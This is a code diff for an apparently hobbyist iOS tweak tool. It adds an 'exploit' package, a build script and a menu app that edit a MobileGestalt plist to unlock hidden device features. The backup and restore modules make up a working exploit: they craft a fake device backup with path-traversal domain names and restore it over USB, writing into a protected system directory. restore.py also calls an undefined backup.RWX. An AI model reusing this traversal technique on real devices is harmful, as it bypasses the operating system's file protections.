<string>22A5350a</string>
|
||||||
|
<key>mumHZHMLEfAuTkkd28fHlQ</key>
|
||||||
|
<string>1</string>
|
||||||
|
<key>nSo8opze5rFk+EdBoR6tBw</key>
|
||||||
|
<array>
|
||||||
|
<string>CU</string>
|
||||||
|
<string>IR</string>
|
||||||
|
<string>SD</string>
|
||||||
|
<string>SY</string>
|
||||||
|
<string>KP</string>
|
||||||
|
</array>
|
||||||
|
<key>oBbtJ8x+s1q0OkaiocPuog</key>
|
||||||
|
<data>
|
||||||
|
kgQAAOQJAADMAQAAAABAQAAAAAAYAAAA
|
||||||
|
</data>
|
||||||
|
<key>oPeik/9e8lQWMszEjbPzng</key>
|
||||||
|
<dict>
|
||||||
|
<key>ArtworkDeviceIdiom</key>
|
||||||
|
<string>phone</string>
|
||||||
|
<key>ArtworkDeviceProductDescription</key>
|
||||||
|
<string>Huawei P40 Pro</string>
|
||||||
|
<key>ArtworkDeviceScaleFactor</key>
|
||||||
|
<integer>3</integer>
|
||||||
|
<key>ArtworkDeviceSubType</key>
|
||||||
|
<integer>2556</integer>
|
||||||
|
<key>ArtworkDisplayGamut</key>
|
||||||
|
<string>P3</string>
|
||||||
|
<key>ArtworkDynamicDisplayMode</key>
|
||||||
|
<string>0</string>
|
||||||
|
<key>CompatibleDeviceFallback</key>
|
||||||
|
<string>iPhone13,3</string>
|
||||||
|
<key>DevicePerformanceMemoryClass</key>
|
||||||
|
<integer>6</integer>
|
||||||
|
<key>GraphicsFeatureSetClass</key>
|
||||||
|
<string>APPLE8</string>
|
||||||
|
<key>GraphicsFeatureSetFallbacks</key>
|
||||||
|
<string>APPLE7:APPLE6:APPLE5:APPLE4:APPLE3:APPLE3v1:APPLE2:APPLE1:GLES2,0</string>
|
||||||
|
</dict>
|
||||||
|
<key>oYicEKzVTz4/CxxE05pEgQ</key>
|
||||||
|
<string>D63AP</string>
|
||||||
|
<key>pB5sZVvnp+QjZQtt2KfQvA</key>
|
||||||
|
<string>mav21</string>
|
||||||
|
<key>pMeQxE5szZTjLMk10TisDQ</key>
|
||||||
|
<data>
|
||||||
|
AAAAAABgeEAAAEBOVW1uQAAAAAAAAAAAAAAAX7NpWkA=
|
||||||
|
</data>
|
||||||
|
<key>qNNddlUK+B/YlooNoymwgA</key>
|
||||||
|
<string>18.0</string>
|
||||||
|
<key>qwXfFvH5jPXPxrny0XuGtQ</key>
|
||||||
|
<string>B909B792-6119-11EF-BE32-5D5563D4FA58</string>
|
||||||
|
<key>rJkMAGeVLdhP5+10G5hVcA</key>
|
||||||
|
<string>{ x: 390.000000, y: 243.416663, width: 0.000000, height: 105.651573 }</string>
|
||||||
|
<key>rkqlwPcRHwixY4gapPjanw</key>
|
||||||
|
<string>iPhone</string>
|
||||||
|
<key>vme9Buk6XiWFCXoHApxNFA</key>
|
||||||
|
<string>iPhone</string>
|
||||||
|
<key>wYMBabAO8VguyDDVgCsPdg</key>
|
||||||
|
<string>s=C2</string>
|
||||||
|
<key>xUHcyT2/HE8oi/4LaOI+Sw</key>
|
||||||
|
<string>GUID_partition_scheme</string>
|
||||||
|
<key>xojWvSTQWT7Icy+xfVzjAQ</key>
|
||||||
|
<string>9A0C207C-B633-46E3-ACF9-D32963533173</string>
|
||||||
|
<key>yUqD8AXE/c+IggkuYoxrqA</key>
|
||||||
|
<string>com.apple.dt.devicekit.chrome.phone4</string>
|
||||||
|
<key>ybGkijAwLTwevankfVzsDQ</key>
|
||||||
|
<data>
|
||||||
|
AAAAAABIkkAAAAAAAMijQA==
|
||||||
|
</data>
|
||||||
|
<key>yjP8DgByZmLk04Ta6f6DWQ</key>
|
||||||
|
<string>iOS</string>
|
||||||
|
<key>zHeENZu+wbg7PUprwNwBWg</key>
|
||||||
|
<string>LL/A</string>
|
||||||
|
</dict>
|
||||||
|
<key>CacheUUID</key>
|
||||||
|
<string>E16FFD24-14A8-41B2-9D70-9BD96C5E88F2</string>
|
||||||
|
<key>CacheVersion</key>
|
||||||
|
<string>22A5350a</string>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
15
compile.py
Normal file
15
compile.py
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
from sys import platform
|
||||||
|
|
||||||
|
import PyInstaller.__main__
|
||||||
|
|
||||||
|
args = [
|
||||||
|
'main_app.py',
|
||||||
|
# '--hidden-import=ipsw_parser',
|
||||||
|
'--hidden-import=zeroconf',
|
||||||
|
'--hidden-import=zeroconf._utils.ipaddress',
|
||||||
|
'--hidden-import=zeroconf._handlers.answers',
|
||||||
|
'--onedir',
|
||||||
|
'--name=CODENAME Nugget',
|
||||||
|
]
|
||||||
|
|
||||||
|
PyInstaller.__main__.run(args)
|
||||||
1
exploit/__init__.py
Normal file
1
exploit/__init__.py
Normal file
@@ -0,0 +1 @@
|
|||||||
|
from . import backup
|
||||||
BIN
exploit/__pycache__/__init__.cpython-312.pyc
Normal file
BIN
exploit/__pycache__/__init__.cpython-312.pyc
Normal file
Binary file not shown.
BIN
exploit/__pycache__/backup.cpython-312.pyc
Normal file
BIN
exploit/__pycache__/backup.cpython-312.pyc
Normal file
Binary file not shown.
BIN
exploit/__pycache__/mbdb.cpython-312.pyc
Normal file
BIN
exploit/__pycache__/mbdb.cpython-312.pyc
Normal file
Binary file not shown.
BIN
exploit/__pycache__/restore.cpython-312.pyc
Normal file
BIN
exploit/__pycache__/restore.cpython-312.pyc
Normal file
Binary file not shown.
185
exploit/backup.py
Normal file
185
exploit/backup.py
Normal file
@@ -0,0 +1,185 @@
|
|||||||
|
from dataclasses import dataclass
|
||||||
|
from datetime import datetime
|
||||||
|
import plistlib
|
||||||
|
from pathlib import Path
|
||||||
|
from base64 import b64decode
|
||||||
|
from hashlib import sha1
|
||||||
|
from . import mbdb
|
||||||
|
from .mbdb import _FileMode
|
||||||
|
from random import randbytes
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
# RWX:RX:RX
|
||||||
|
DEFAULT = _FileMode.S_IRUSR | _FileMode.S_IWUSR | _FileMode.S_IXUSR | _FileMode.S_IRGRP | _FileMode.S_IXGRP | _FileMode.S_IROTH | _FileMode.S_IXOTH
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class BackupFile:
|
||||||
|
path: str
|
||||||
|
domain: str
|
||||||
|
|
||||||
|
def to_record(self) -> mbdb.MbdbRecord:
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ConcreteFile(BackupFile):
|
||||||
|
contents: bytes
|
||||||
|
owner: int = 0
|
||||||
|
group: int = 0
|
||||||
|
inode: Optional[int] = None
|
||||||
|
mode: _FileMode = DEFAULT
|
||||||
|
|
||||||
|
def to_record(self) -> mbdb.MbdbRecord:
|
||||||
|
if self.inode is None:
|
||||||
|
self.inode = int.from_bytes(randbytes(8), "big")
|
||||||
|
return mbdb.MbdbRecord(
|
||||||
|
domain=self.domain,
|
||||||
|
filename=self.path,
|
||||||
|
link="",
|
||||||
|
hash=sha1(self.contents).digest(),
|
||||||
|
key=b"",
|
||||||
|
mode=self.mode | _FileMode.S_IFREG,
|
||||||
|
#unknown2=0,
|
||||||
|
#unknown3=0,
|
||||||
|
inode=self.inode,
|
||||||
|
user_id=self.owner,
|
||||||
|
group_id=self.group,
|
||||||
|
mtime=int(datetime.now().timestamp()),
|
||||||
|
atime=int(datetime.now().timestamp()),
|
||||||
|
ctime=int(datetime.now().timestamp()),
|
||||||
|
size=len(self.contents),
|
||||||
|
flags=4,
|
||||||
|
properties=[]
|
||||||
|
)
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class Directory(BackupFile):
|
||||||
|
owner: int = 0
|
||||||
|
group: int = 0
|
||||||
|
mode: _FileMode = DEFAULT
|
||||||
|
|
||||||
|
def to_record(self) -> mbdb.MbdbRecord:
|
||||||
|
return mbdb.MbdbRecord(
|
||||||
|
domain=self.domain,
|
||||||
|
filename=self.path,
|
||||||
|
link="",
|
||||||
|
hash=b"",
|
||||||
|
key=b"",
|
||||||
|
mode=self.mode | _FileMode.S_IFDIR,
|
||||||
|
#unknown2=0,
|
||||||
|
#unknown3=0,
|
||||||
|
inode=0, # inode is not respected for directories
|
||||||
|
user_id=self.owner,
|
||||||
|
group_id=self.group,
|
||||||
|
mtime=int(datetime.now().timestamp()),
|
||||||
|
atime=int(datetime.now().timestamp()),
|
||||||
|
ctime=int(datetime.now().timestamp()),
|
||||||
|
size=0,
|
||||||
|
flags=4,
|
||||||
|
properties=[]
|
||||||
|
)
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SymbolicLink(BackupFile):
|
||||||
|
target: str
|
||||||
|
owner: int = 0
|
||||||
|
group: int = 0
|
||||||
|
inode: Optional[int] = None
|
||||||
|
mode: _FileMode = DEFAULT
|
||||||
|
|
||||||
|
def to_record(self) -> mbdb.MbdbRecord:
|
||||||
|
if self.inode is None:
|
||||||
|
self.inode = int.from_bytes(randbytes(8), "big")
|
||||||
|
return mbdb.MbdbRecord(
|
||||||
|
domain=self.domain,
|
||||||
|
filename=self.path,
|
||||||
|
link=self.target,
|
||||||
|
hash=b"",
|
||||||
|
key=b"",
|
||||||
|
mode=self.mode | _FileMode.S_IFLNK,
|
||||||
|
#unknown2=0,
|
||||||
|
#unknown3=0,
|
||||||
|
inode=self.inode,
|
||||||
|
user_id=self.owner,
|
||||||
|
group_id=self.group,
|
||||||
|
mtime=int(datetime.now().timestamp()),
|
||||||
|
atime=int(datetime.now().timestamp()),
|
||||||
|
ctime=int(datetime.now().timestamp()),
|
||||||
|
size=0,
|
||||||
|
flags=4,
|
||||||
|
properties=[]
|
||||||
|
)
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class Backup:
|
||||||
|
files: list[BackupFile]
|
||||||
|
|
||||||
|
def write_to_directory(self, directory: Path):
|
||||||
|
for file in self.files:
|
||||||
|
if isinstance(file, ConcreteFile):
|
||||||
|
#print("Writing", file.path, "to", directory / sha1((file.domain + "-" + file.path).encode()).digest().hex())
|
||||||
|
with open(directory / sha1((file.domain + "-" + file.path).encode()).digest().hex(), "wb") as f:
|
||||||
|
f.write(file.contents)
|
||||||
|
|
||||||
|
with open(directory / "Manifest.mbdb", "wb") as f:
|
||||||
|
f.write(self.generate_manifest_db().to_bytes())
|
||||||
|
|
||||||
|
with open(directory / "Status.plist", "wb") as f:
|
||||||
|
f.write(self.generate_status())
|
||||||
|
|
||||||
|
with open(directory / "Manifest.plist", "wb") as f:
|
||||||
|
f.write(self.generate_manifest())
|
||||||
|
|
||||||
|
with open(directory / "Info.plist", "wb") as f:
|
||||||
|
f.write(plistlib.dumps({}))
|
||||||
|
|
||||||
|
|
||||||
|
def generate_manifest_db(self): # Manifest.mbdb
|
||||||
|
records = []
|
||||||
|
for file in self.files:
|
||||||
|
records.append(file.to_record())
|
||||||
|
return mbdb.Mbdb(records=records)
|
||||||
|
|
||||||
|
def generate_status(self) -> bytes: # Status.plist
|
||||||
|
return plistlib.dumps({
|
||||||
|
"BackupState": "new",
|
||||||
|
"Date": datetime.fromisoformat("1970-01-01T00:00:00+00:00"),
|
||||||
|
"IsFullBackup": False,
|
||||||
|
"SnapshotState": "finished",
|
||||||
|
"UUID": "00000000-0000-0000-0000-000000000000",
|
||||||
|
"Version": "2.4"
|
||||||
|
})
|
||||||
|
|
||||||
|
def generate_manifest(self) -> bytes: # Manifest.plist
|
||||||
|
return plistlib.dumps({
|
||||||
|
"BackupKeyBag": b64decode("""
|
||||||
|
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
|
||||||
|
Z8FDgd7YoALY1g=="""),
|
||||||
|
"Lockdown": {},
|
||||||
|
"SystemDomainsVersion": "20.0",
|
||||||
|
"Version": "9.1"
|
||||||
|
})
|
||||||
168
exploit/mbdb.py
Normal file
168
exploit/mbdb.py
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
from dataclasses import dataclass
|
||||||
|
from io import BytesIO
|
||||||
|
|
||||||
|
# Mode bitfield
|
||||||
|
from enum import IntFlag
|
||||||
|
class _FileMode(IntFlag):
|
||||||
|
S_IFMT = 0o0170000
|
||||||
|
S_IFIFO = 0o0010000
|
||||||
|
S_IFCHR = 0o0020000
|
||||||
|
S_IFDIR = 0o0040000
|
||||||
|
S_IFBLK = 0o0060000
|
||||||
|
S_IFREG = 0o0100000
|
||||||
|
S_IFLNK = 0o0120000
|
||||||
|
S_IFSOCK = 0o0140000
|
||||||
|
|
||||||
|
#S_IRWXU = 0o0000700
|
||||||
|
S_IRUSR = 0o0000400
|
||||||
|
S_IWUSR = 0o0000200
|
||||||
|
S_IXUSR = 0o0000100
|
||||||
|
|
||||||
|
#S_IRWXG = 0o0000070
|
||||||
|
S_IRGRP = 0o0000040
|
||||||
|
S_IWGRP = 0o0000020
|
||||||
|
S_IXGRP = 0o0000010
|
||||||
|
|
||||||
|
#S_IRWXO = 0o0000007
|
||||||
|
S_IROTH = 0o0000004
|
||||||
|
S_IWOTH = 0o0000002
|
||||||
|
S_IXOTH = 0o0000001
|
||||||
|
|
||||||
|
S_ISUID = 0o0004000
|
||||||
|
S_ISGID = 0o0002000
|
||||||
|
S_ISVTX = 0o0001000
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class MbdbRecord:
|
||||||
|
domain: str
|
||||||
|
filename: str
|
||||||
|
link: str
|
||||||
|
hash: bytes
|
||||||
|
key: bytes
|
||||||
|
mode: _FileMode
|
||||||
|
inode: int
|
||||||
|
user_id: int
|
||||||
|
group_id: int
|
||||||
|
mtime: int
|
||||||
|
atime: int
|
||||||
|
ctime: int
|
||||||
|
size: int
|
||||||
|
flags: int
|
||||||
|
properties: list
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_stream(cls, d: BytesIO):
|
||||||
|
#d = BytesIO(data)
|
||||||
|
|
||||||
|
domain_len = int.from_bytes(d.read(2), "big")
|
||||||
|
domain = d.read(domain_len).decode("utf-8")
|
||||||
|
|
||||||
|
filename_len = int.from_bytes(d.read(2), "big")
|
||||||
|
filename = d.read(filename_len).decode("utf-8")
|
||||||
|
|
||||||
|
link_len = int.from_bytes(d.read(2), "big")
|
||||||
|
link = d.read(link_len).decode("utf-8") if link_len != 0xffff else ""
|
||||||
|
|
||||||
|
hash_len = int.from_bytes(d.read(2), "big")
|
||||||
|
hash = d.read(hash_len) if hash_len != 0xffff else b""
|
||||||
|
|
||||||
|
key_len = int.from_bytes(d.read(2), "big")
|
||||||
|
key = d.read(key_len) if key_len != 0xffff else b""
|
||||||
|
|
||||||
|
mode = _FileMode(int.from_bytes(d.read(2), "big"))
|
||||||
|
#unknown2 = int.from_bytes(d.read(4), "big")
|
||||||
|
#unknown3 = int.from_bytes(d.read(4), "big")
|
||||||
|
inode = int.from_bytes(d.read(8), "big")
|
||||||
|
user_id = int.from_bytes(d.read(4), "big")
|
||||||
|
group_id = int.from_bytes(d.read(4), "big")
|
||||||
|
mtime = int.from_bytes(d.read(4), "big")
|
||||||
|
atime = int.from_bytes(d.read(4), "big")
|
||||||
|
ctime = int.from_bytes(d.read(4), "big")
|
||||||
|
size = int.from_bytes(d.read(8), "big")
|
||||||
|
flags = int.from_bytes(d.read(1), "big")
|
||||||
|
|
||||||
|
properties_count = int.from_bytes(d.read(1), "big")
|
||||||
|
properties = []
|
||||||
|
|
||||||
|
for _ in range(properties_count):
|
||||||
|
name_len = int.from_bytes(d.read(2), "big")
|
||||||
|
name = d.read(name_len).decode("utf-8") if name_len != 0xffff else ""
|
||||||
|
|
||||||
|
value_len = int.from_bytes(d.read(2), "big")
|
||||||
|
value = d.read(value_len).decode("utf-8") if value_len != 0xffff else ""
|
||||||
|
|
||||||
|
properties.append((name, value))
|
||||||
|
|
||||||
|
return cls(domain, filename, link, hash, key, mode, inode, user_id, group_id, mtime, atime, ctime, size, flags, properties)
|
||||||
|
|
||||||
|
def to_bytes(self) -> bytes:
|
||||||
|
d = BytesIO()
|
||||||
|
|
||||||
|
d.write(len(self.domain).to_bytes(2, "big"))
|
||||||
|
d.write(self.domain.encode("utf-8"))
|
||||||
|
|
||||||
|
d.write(len(self.filename).to_bytes(2, "big"))
|
||||||
|
d.write(self.filename.encode("utf-8"))
|
||||||
|
|
||||||
|
d.write(len(self.link).to_bytes(2, "big"))
|
||||||
|
d.write(self.link.encode("utf-8"))
|
||||||
|
|
||||||
|
d.write(len(self.hash).to_bytes(2, "big"))
|
||||||
|
d.write(self.hash)
|
||||||
|
|
||||||
|
d.write(len(self.key).to_bytes(2, "big"))
|
||||||
|
d.write(self.key)
|
||||||
|
|
||||||
|
d.write(self.mode.to_bytes(2, "big"))
|
||||||
|
#d.write(self.unknown2.to_bytes(4, "big"))
|
||||||
|
#d.write(self.unknown3.to_bytes(4, "big"))
|
||||||
|
d.write(self.inode.to_bytes(8, "big"))
|
||||||
|
d.write(self.user_id.to_bytes(4, "big"))
|
||||||
|
d.write(self.group_id.to_bytes(4, "big"))
|
||||||
|
d.write(self.mtime.to_bytes(4, "big"))
|
||||||
|
d.write(self.atime.to_bytes(4, "big"))
|
||||||
|
d.write(self.ctime.to_bytes(4, "big"))
|
||||||
|
d.write(self.size.to_bytes(8, "big"))
|
||||||
|
d.write(self.flags.to_bytes(1, "big"))
|
||||||
|
|
||||||
|
d.write(len(self.properties).to_bytes(1, "big"))
|
||||||
|
|
||||||
|
for name, value in self.properties:
|
||||||
|
d.write(len(name).to_bytes(2, "big"))
|
||||||
|
d.write(name.encode("utf-8"))
|
||||||
|
|
||||||
|
d.write(len(value).to_bytes(2, "big"))
|
||||||
|
d.write(value.encode("utf-8"))
|
||||||
|
|
||||||
|
return d.getvalue()
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class Mbdb:
|
||||||
|
records: list[MbdbRecord]
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_bytes(cls, data: bytes):
|
||||||
|
d = BytesIO(data)
|
||||||
|
|
||||||
|
if d.read(4) != b"mbdb":
|
||||||
|
raise ValueError("Invalid MBDB file")
|
||||||
|
|
||||||
|
if d.read(2) != b"\x05\x00":
|
||||||
|
raise ValueError("Invalid MBDB version")
|
||||||
|
|
||||||
|
records = []
|
||||||
|
while d.tell() < len(data):
|
||||||
|
records.append(MbdbRecord.from_stream(d))
|
||||||
|
|
||||||
|
return cls(records)
|
||||||
|
|
||||||
|
def to_bytes(self) -> bytes:
|
||||||
|
d = BytesIO()
|
||||||
|
|
||||||
|
d.write(b"mbdb")
|
||||||
|
d.write(b"\x05\x00")
|
||||||
|
|
||||||
|
for record in self.records:
|
||||||
|
d.write(record.to_bytes())
|
||||||
|
|
||||||
|
return d.getvalue()
|
||||||
31
exploit/restore.py
Normal file
31
exploit/restore.py
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
from exploit import backup
|
||||||
|
from pymobiledevice3.lockdown import create_using_usbmux
|
||||||
|
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service
|
||||||
|
from tempfile import TemporaryDirectory
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
def restore_file(fp: str, restore_path: str, restore_name: str):
|
||||||
|
# open the file and read the contents
|
||||||
|
contents = open(fp, "rb").read()
|
||||||
|
|
||||||
|
# create the backup
|
||||||
|
back = backup.Backup(files=[
|
||||||
|
backup.Directory("", "RootDomain", owner=501, group=501),
|
||||||
|
backup.Directory("Library", "RootDomain", owner=501, group=501),
|
||||||
|
backup.Directory("Library/Preferences", "RootDomain", owner=501, group=501),
|
||||||
|
backup.ConcreteFile("Library/Preferences/Hello", "RootDomain", owner=501, group=501, contents=contents, mode=backup.RWX | backup._FileMode.S_IFREG),
|
||||||
|
backup.Directory("", f"SysContainerDomain-../../../../../../../../var/.backup.i{restore_path}", owner=501, group=501),
|
||||||
|
backup.ConcreteFile("", f"SysContainerDomain-../../../../../../../../var/.backup.i{restore_path}{restore_name}", owner=501, group=501, contents=contents),
|
||||||
|
backup.Directory("", "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/Hello", owner=501, group=501),
|
||||||
|
])
|
||||||
|
|
||||||
|
# get a temporary dir to store the backup
|
||||||
|
with TemporaryDirectory() as backup_dir:
|
||||||
|
backup_dir_path = Path(backup_dir)
|
||||||
|
back.write_to_directory(backup_dir_path)
|
||||||
|
print(f"Backup written to {backup_dir}")
|
||||||
|
input("Press Enter to continue...")
|
||||||
|
|
||||||
|
lockdown = create_using_usbmux()
|
||||||
|
with Mobilebackup2Service(lockdown) as mb:
|
||||||
|
mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")
|
||||||
106
main_app.py
Normal file
106
main_app.py
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
from exploit.restore import restore_file
|
||||||
|
from pathlib import Path
|
||||||
|
import plistlib
|
||||||
|
import traceback
|
||||||
|
|
||||||
|
running = True
|
||||||
|
passed_check = False
|
||||||
|
# tweaks
|
||||||
|
dynamic_island_enabled = False
|
||||||
|
current_model_name = ""
|
||||||
|
boot_chime_enabled = False
|
||||||
|
charge_limit_enabled = False
|
||||||
|
stage_manager_enabled = False
|
||||||
|
|
||||||
|
gestalt_path = Path.joinpath(Path.cwd(), "com.apple.MobileGestalt.plist")
|
||||||
|
|
||||||
|
while running:
|
||||||
|
print("""\n\n\n\n
|
||||||
|
|
||||||
|
,--.
|
||||||
|
,--.'| ___
|
||||||
|
,--,: : | ,--.'|_
|
||||||
|
,`--.'`| ' : ,--, | | :,'
|
||||||
|
| : : | | ,'_ /| ,----._,. ,----._,. : : ' :
|
||||||
|
: | \\ | : .--. | | : / / ' / / / ' / ,---. .;__,' /
|
||||||
|
| : ' '; |,'_ /| : . || : || : | / \\ | | |
|
||||||
|
' ' ;. ;| ' | | . .| | .\\ .| | .\\ . / / |:__,'| :
|
||||||
|
| | | \\ || | ' | | |. ; '; |. ; '; |. ' / | ' : |__
|
||||||
|
' : | ; .': | : ; ; |' . . |' . . |' ; /| | | '.'|
|
||||||
|
| | '`--' ' : `--' \\`---`-'| | `---`-'| |' | / | ; : ;
|
||||||
|
' : | : , .-./.'__/\\_: | .'__/\\_: || : | | , /
|
||||||
|
; |.' `--`----' | : : | : : \\ \\ / ---`-'
|
||||||
|
'---' \\ \\ / \\ \\ / `----'
|
||||||
|
`--`-' `--`-'
|
||||||
|
""")
|
||||||
|
print("1.0 ALPHA 2\n\n")
|
||||||
|
|
||||||
|
if not passed_check and Path.exists(gestalt_path) and Path.is_file(gestalt_path):
|
||||||
|
passed_check = True
|
||||||
|
|
||||||
|
if passed_check:
|
||||||
|
print(f"1. {"[Y] " if dynamic_island_enabled else ""}Toggle Dynamic Island")
|
||||||
|
print(f"2. {"[Y] " if current_model_name != "" else ""}Set Device Model Name")
|
||||||
|
print(f"3. {"[Y] " if boot_chime_enabled else ""}Toggle Boot Chime")
|
||||||
|
print(f"4. {"[Y] " if charge_limit_enabled else ""}Toggle Charge Limit")
|
||||||
|
print(f"5. {"[Y] " if stage_manager_enabled else ""}Toggle Stage Manager Supported")
|
||||||
|
print("\n9. Apply")
|
||||||
|
print("0. Exit\n")
|
||||||
|
page = int(input("Enter a number: "))
|
||||||
|
if page == 1:
|
||||||
|
dynamic_island_enabled = not dynamic_island_enabled
|
||||||
|
elif page == 2:
|
||||||
|
print("\n\nSet Model Name")
|
||||||
|
print("Leave blank to turn off custom name.\n")
|
||||||
|
name = input("Enter Model Name: ")
|
||||||
|
current_model_name = name
|
||||||
|
elif page == 3:
|
||||||
|
boot_chime_enabled = not boot_chime_enabled
|
||||||
|
elif page == 4:
|
||||||
|
charge_limit_enabled = not charge_limit_enabled
|
||||||
|
elif page == 5:
|
||||||
|
stage_manager_enabled = not stage_manager_enabled
|
||||||
|
elif page == 9:
|
||||||
|
print()
|
||||||
|
# set the tweaks and apply
|
||||||
|
# first open the file in read mode
|
||||||
|
with open(gestalt_path, 'rb') as in_fp:
|
||||||
|
plist = plistlib.load(in_fp)
|
||||||
|
|
||||||
|
# set the plist keys
|
||||||
|
if dynamic_island_enabled:
|
||||||
|
plist["CacheExtra"]["oPeik/9e8lQWMszEjbPzng"]["ArtworkDeviceSubType"] = 2556
|
||||||
|
if current_model_name != "":
|
||||||
|
plist["CacheExtra"]["oPeik/9e8lQWMszEjbPzng"]["ArtworkDeviceProductDescription"] = current_model_name
|
||||||
|
if boot_chime_enabled:
|
||||||
|
plist["CacheExtra"]["QHxt+hGLaBPbQJbXiUJX3w"] = True
|
||||||
|
if charge_limit_enabled:
|
||||||
|
plist["CacheExtra"]["37NVydb//GP/GrhuTN+exg"] = True
|
||||||
|
if stage_manager_enabled:
|
||||||
|
plist["CacheExtra"]["qeaj75wk3HF4DwQ8qbIi7g"] = 1
|
||||||
|
|
||||||
|
# write back to the file
|
||||||
|
with open(gestalt_path, 'wb') as out_fp:
|
||||||
|
plistlib.dump(plist, out_fp)
|
||||||
|
# restore to the device
|
||||||
|
try:
|
||||||
|
restore_file(fp=gestalt_path, restore_path="/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/", restore_name="com.apple.MobileGestalt.plist")
|
||||||
|
input("Success! Reboot your device to see the changes.")
|
||||||
|
except Exception as e:
|
||||||
|
print(traceback.format_exc())
|
||||||
|
input("Press Enter to continue...")
|
||||||
|
running = False
|
||||||
|
elif page == 0:
|
||||||
|
# exit the panel
|
||||||
|
print("Goodbye!")
|
||||||
|
running = False
|
||||||
|
else:
|
||||||
|
print("No MobileGestalt file found!")
|
||||||
|
print(f"Please place the file in \'{Path.cwd()}\' with the name \'com.apple.MobileGestalt.plist\'")
|
||||||
|
print("Remember to make a backup of the file!!\n")
|
||||||
|
print("1. Retry")
|
||||||
|
print("2. Enter path\n")
|
||||||
|
choice = int(input("Enter number: "))
|
||||||
|
if choice == 2:
|
||||||
|
new_path = input("Enter new path to file: ")
|
||||||
|
gestalt_path = Path(new_path)
|
||||||
43
main_app.spec
Normal file
43
main_app.spec
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
